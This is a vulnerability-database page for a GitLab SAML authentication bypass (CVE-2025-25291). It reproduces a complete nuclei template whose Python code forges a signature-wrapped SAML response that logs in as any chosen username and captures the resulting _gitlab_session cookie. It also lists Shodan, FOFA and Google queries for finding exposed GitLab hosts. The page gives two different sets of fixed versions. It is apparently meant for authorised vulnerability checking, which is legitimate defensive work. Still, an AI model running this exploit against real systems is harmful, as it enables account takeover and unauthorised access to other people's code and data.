HexBrain

Browse / CVEs / CVE-2025-25291

CVE-2025-25291· gitlab / gitlab· CWE-347

GitLab - SAML Authentication Bypass

criticalseverity
9.3CVSS score
21%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.

Impact

Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.

Fix

This vulnerability is fixed in 1.17.0 and 1.12.3.

How to confirm it

Send: POST /users/auth/saml/callback
Positive when: contains(header,"known_sign_in") and status_code == 302

Run it with nuclei: nuclei -id CVE-2025-25291 -u <target>

The full check
id: CVE-2025-25291

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
  impact: |
    Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://portswigger.net/research/saml-roulette-the-hacker-always-wins
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
    - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
    epss-score: 0.20965
    epss-percentile: 0.97582
  metadata:
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"gitlab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.html:"gitlab enterprise edition"
      - http.html:"gitlab-ci.yml"
    fofa-query:
      - body="gitlab enterprise edition"
      - body="gitlab-ci.yml"
      - title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      import os,re
      import base64
      import urllib.parse
      saml_response = os.getenv('SAMLResponse')
      username = os.getenv('username')
      saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
      if not username:
          username='[email protected]'
      prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
      pos = saml_resp.find(b'?>') + 2
      saml_resp_mod = saml_resp[pos:]
      saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
      saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
      saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
      print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session

References

Use this check only on systems you are authorised to test. Where the data comes from